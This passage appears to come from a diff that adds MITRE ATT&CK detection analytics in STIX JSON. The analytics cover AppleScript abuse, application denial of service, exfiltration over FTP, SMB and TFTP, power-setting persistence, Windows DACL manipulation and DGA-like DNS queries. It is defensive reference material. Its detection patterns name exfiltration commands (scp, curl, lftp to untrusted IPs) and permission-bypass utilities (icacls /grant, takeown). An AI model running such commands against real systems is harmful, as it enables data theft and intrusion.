"field": "TimeWindow", + "description": "Flag AppleScript execution during user-inactive hours, especially for automation frameworks." + }, + { + "field": "AppleEventActionType", + "description": "Filter AppleEvent-based automation involving UI interaction, keystrokes, or remote control." + }, + { + "field": "TargetApplicationSet", + "description": "Scope AppleScript use toward security-sensitive apps (e.g., Terminal, ssh, Keychain Access)." + }, + { + "field": "ExecutionPathRegex", + "description": "Restrict to unusual paths like /tmp/, ~/Library/, or embedded in Automator workflows." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0b514d96-12ce-41e2-b870-b35933d7faa6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0415#AN1165", + "external_id": "AN1165" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1165", + "description": "Repeated invocation of high-resource application endpoints or GUI components causing CPU and memory spikes, logged as elevated request volumes, prolonged handle locks, or frequent crash recoveries.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "WinEventLog:Application", + "channel": "High-frequency errors or hangs from resource-intensive application components (e.g., .NET, IIS, Office Suite)" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "Windows:perfmon", + "channel": "Sudden spikes in CPU/Memory usage linked to specific application processes" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CPUThreshold", + "description": "Define what percentage of CPU usage indicates abnormal behavior." + }, + { + "field": "MemoryConsumptionWindow", + "description": "Window (e.g., 5 mins) during which sustained memory usage may be abnormal." + }, + { + "field": "AppCrashFrequency", + "description": "Threshold for frequency of application faults within a specific interval." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--35c7be24-c1c0-4ddc-9356-dec5e39414be", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0415#AN1166", + "external_id": "AN1166" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1166", + "description": "Automated scripts or repeated CLI/API requests that trigger application backends to consume high CPU or memory (e.g., Apache/PHP, MySQL, mail servers), resulting in syslog errors and excessive process spawning.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "linux:syslog", + "channel": "Error/warning logs from services indicating load spike or worker exhaustion" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "Sustained abnormal inbound request rate targeting application ports (e.g., 80/443/25)" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SyslogErrorRate", + "description": "Defines number of critical errors in logs within time window." + }, + { + "field": "PortRequestSpikeThreshold", + "description": "Spike rate on monitored service port triggering alert." + }, + { + "field": "ProcessSpawnRate", + "description": "Rate of process creation that may overwhelm the system." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ade844ef-f156-4db2-bc11-9dbdc006c8d6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0415#AN1167", + "external_id": "AN1167" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1167", + "description": "Repetitive triggering of GUI or backend application workflows that cause increased CPU/memory usage, logged in unified logs as spin reports or crash dumps.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "macos:unifiedlog", + "channel": "Application errors or resource contention from excessive frontend or script invocation" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:osquery", + "channel": "Rapid spawning of resource-heavy applications (e.g., Preview, Safari, Office)" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SpinReportCount", + "description": "Threshold for number of system spin/crash reports in a defined window." + }, + { + "field": "HeavyAppReopenRate", + "description": "Frequency of user or script reopening GUI-heavy apps." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--867239cd-7939-446c-9efb-b2a7a5bd5403", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0415#AN1168", + "external_id": "AN1168" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1168", + "description": "Automated abuse of cloud-hosted applications (e.g., web apps, REST endpoints, internal APIs) causing compute exhaustion, high 5xx error rates, or frequent autoscaling triggers logged in app insights or cloudwatch.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "AWS:CloudWatch", + "channel": "Elevated 5xx response rates in application logs or gateway layer" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b33d36e3-d7ea-4895-8eed-19a08a8f7c4f", + "name": "CloudTrail:InvokeFunction", + "channel": "InvokeFunction" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "CloudMetrics:InstanceHealth", + "channel": "Autoscaling, memory/cpu alarms, or instance unhealthiness" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "HTTP5xxRateThreshold", + "description": "Ratio of 5xx error codes over requests indicating resource exhaustion." + }, + { + "field": "FunctionInvocationRate", + "description": "Spike in lambda/API gateway executions indicating scripted behavior." + }, + { + "field": "AutoscaleEventCount", + "description": "Triggers linked to app DoS where legitimate scaling is mimicked." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--befbbdad-a17b-41f2-bb24-5cb477c5cc50", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0416#AN1169", + "external_id": "AN1169" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1169", + "description": "Detects FTP, SMB, or TFTP traffic initiated by suspicious processes like PowerShell, cmd.exe, or rundll32.exe\u2014especially with large outbound file transfers or unbalanced traffic volume.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "ftp.log, smb_files.log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ProcessImageFilter", + "description": "Limit to non-standard FTP clients or suspicious binaries (e.g., cmd, mshta)" + }, + { + "field": "DataFlowDirectionThreshold", + "description": "Ratio of outbound:inbound bytes; e.g., >90% outbound" + }, + { + "field": "FilenamePattern", + "description": "Suspicious file extensions or naming (e.g., .zip, .rar, random hash names)" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--170e84e2-fa22-4e8c-b2f3-3cafc0d96d7e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0416#AN1170", + "external_id": "AN1170" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1170", + "description": "Detects usage of FTP, SCP, or TFTP by non-interactive shells or automation scripts transferring large data volumes to untrusted IPs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "ftp.log, conn.log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TransferSizeThreshold", + "description": "Bytes sent in FTP upload or SCP push" + }, + { + "field": "CommandLinePatternMatch", + "description": "e.g., scp -r /var/log/* or ftp upload scripts" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9e9efdc0-82d3-4046-a4db-e97454f708a6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0416#AN1171", + "external_id": "AN1171" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1171", + "description": "Detects Automator, AppleScript, or Terminal executing curl, lftp, or TFTP for binary transfer to untrusted IPs or unusual ports.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "macos:osquery", + "channel": "socket_events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "log stream --predicate" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "FilePathAccessed", + "description": "e.g., ~/Documents, ~/Library/logs/" + }, + { + "field": "NetworkPortAnomaly", + "description": "Non-standard FTP/TFTP ports used (e.g., FTP over 443)" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--61e3802a-c95c-43c2-8749-139e0f750169", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0416#AN1172", + "external_id": "AN1172" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1172", + "description": "Detects file movement or outbound TFTP/FTP transfers from ESXi host initiated via shell commands or injected scripts, particularly from scratch partitions or /tmp.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "esxi:shell", + "channel": "/root/.ash_history" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "mirror/SPAN port" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TransferTargetDomainOrIP", + "description": "Public IPs or domains not belonging to known ESXi mgmt infra" + }, + { + "field": "SourceDirectoryFilter", + "description": "Monitor transfers from /tmp/, /etc/, /vmfs/volumes/" + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9c5ef78d-2e02-4201-ba38-ec858e8b6a6f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0416#AN1173", + "external_id": "AN1173" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1173", + "description": "Detects internal hosts generating large outbound FTP/TFTP/SMB sessions to external IPs, or file transfers using non-standard ports and application mismatches (e.g., FTP over port 80).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "ftp.log, conn.log, smb_files.log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AppLayerProtocolMatch", + "description": "e.g., FTP/SMB observed over uncommon ports" + }, + { + "field": "OutboundDataRateThreshold", + "description": "Bytes transferred outside trusted subnets >100MB" + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3234a537-0ad5-449f-87f4-25fd949c97e7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0417#AN1174", + "external_id": "AN1174" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1174", + "description": "Monitor command execution of powercfg.exe with arguments modifying sleep, hibernate, or display timeouts. Abnormal or repeated modifications to power settings outside administrative baselines may indicate persistence attempts. Correlate process creation with registry and system configuration changes to build behavioral chains.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedAdminTools", + "description": "Whitelist expected administrative scripts that legitimately modify power settings." + }, + { + "field": "TimeWindow", + "description": "Correlation period between powercfg.exe invocation and registry/policy changes." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e3bbe2c4-615d-4847-93dc-b5857fc1b384", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0417#AN1175", + "external_id": "AN1175" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1175", + "description": "Detect execution of system utilities (systemctl, systemd-inhibit, systemdsleep) modifying sleep or hibernate behavior. Abnormal edits to system configuration files (e.g., /etc/systemd/sleep.conf) should be correlated with process execution to identify persistence techniques.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:SYSCALL", + "channel": "execve: Execution of systemctl, loginctl, or systemd-inhibit commands related to sleep/hibernate" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:PATH", + "channel": "write: File modifications to /etc/systemd/sleep.conf or related power configuration files" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "KnownMaintenanceWindows", + "description": "Filter benign modifications during patching or system maintenance intervals." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--101d4e7f-4282-4fea-89be-e17d97ca0b91", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0417#AN1176", + "external_id": "AN1176" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1176", + "description": "Monitor pmset command executions altering sleep/hibernate/standby parameters. Unexpected modifications to /Library/Preferences/SystemConfiguration/com.apple.PowerManagement.plist or similar files should be correlated with process activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Process creation events where command line = pmset with arguments affecting sleep, hibernatemode, displaysleep" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "macos:unifiedlog", + "channel": "write: File modification to com.apple.PowerManagement.plist or related system preference files" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AdminWhitelists", + "description": "Allowlist expected pmset invocations by IT administrators for power policy enforcement." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7e4ac594-c46c-4c7e-ba6d-9a457ab1e767", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0418#AN1177", + "external_id": "AN1177" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1177", + "description": "Multi-stage Windows DACL manipulation behavioral chain: (1) Process creation of permission-modifying utilities (icacls.exe, takeown.exe, attrib.exe, cacls.exe) or PowerShell ACL cmdlets, (2) Command-line analysis revealing privilege escalation intent through suspicious parameters (/grant, /takeown, /T, Set-Acl), (3) DACL modification events (4670) correlating with process execution, (4) Subsequent file access attempts (4663) indicating successful permission bypass, (5) Potential follow-on persistence or lateral movement activities", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5b8b466b-2c81-4fe7-946f-d677a74ae3db", + "name": "WinEventLog:Security", + "channel": "EventCode=4670" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "WinEventLog:Security", + "channel": "EventCode=4663, 4656, 4658" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4103,4104,4105, 4106" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--05645013-2fed-4066-8bdc-626b2e201dd4", + "name": "WinEventLog:Microsoft-Windows-WMI-Activity/Operational", + "channel": "EventCode=5857, 5860, 5861" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TemporalCorrelationWindow", + "description": "Time window for correlating process creation (4688/sysmon 1) with DACL changes (4670) and subsequent access (4663) - default 300 seconds, adjust based on system performance and network latency" + }, + { + "field": "SensitivePathWhitelist", + "description": "Environment-specific critical directories requiring enhanced monitoring (e.g., C:\\Windows\\System32, C:\\Program Files, %USERPROFILE%\\AppData) - customize per organizational security requirements" + }, + { + "field": "AuthorizedAdministratorAccounts", + "description": "User accounts and service accounts authorized to perform legitimate DACL modifications - update to reflect current administrative staff and automated processes" + }, + { + "field": "SuspiciousCommandLinePatterns", + "description": "Regex patterns for detecting malicious intent in permission modification commands - tune to reduce false positives while maintaining detection efficacy" + }, + { + "field": "BusinessHoursThreshold", + "description": "Time-based risk scoring modifier for permission changes occurring outside standard business hours - adjust based on organizational work patterns" + }, + { + "field": "PowerShellScriptBlockSizeThreshold", + "description": "Minimum PowerShell script block size for ACL-related content analysis - balance between detection coverage and log volume" + }, + { + "field": "FileAccessFrequencyBaseline", + "description": "Statistical baseline for normal file access patterns post-permission change - establish through historical analysis and update periodically" + }, + { + "field": "WMIMethodInvocationWhitelist", + "description": "Approved WMI classes and methods for legitimate permission operations (e.g., Win32_SecurityDescriptor) - maintain based on authorized management tools" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ee7499f8-4262-47cf-8fff-5344f60bf2cf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0419#AN1178", + "external_id": "AN1178" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1178", + "description": "Correlate DNS queries that generate domains with high entropy or gibberish patterns, combined with short-lived connections from unusual processes. Monitor Sysmon DNS events and Windows Security logs for abnormal query rates and failed lookups.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=22" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "EntropyThreshold", + "description": "Set threshold for randomness in queried domain strings (e.g., >4.0)" + }, + { + "field": "QueryFailureRate", + "description": "Failed resolution ratio above normal baseline (e.g., >30%)" + }, + { + "field": "TimeWindow", + "description": "Duration for aggregating suspicious DNS queries (e.g., 5\u201310 min)" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0faa41a3-0d4c-42d1-885a-12436fbee9c1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0419#AN1179", + "external_id": "AN1179" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1179", + "description": "Identify processes issuing repeated DNS queries to random-looking domains with abnormal entropy or word concatenations. Correlate resolver logs with high NXDOMAIN rates and auditd socket connections.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "auditd:SYSCALL", + "channel": "socket/connect" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "linux:syslog", + "channel": "Multiple NXDOMAIN responses and high entropy domains" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "NXDOMAINThreshold", + "description": "Ratio of failed queries triggering alert (e.g., >40%)" + }, + { + "field": "DomainAge", + "description": "Flag queries to domains registered in last 7\u201330 days" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--63de336c-105c-4e8f-aefc-420a3eac32e9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0419#AN1180", + "external_id": 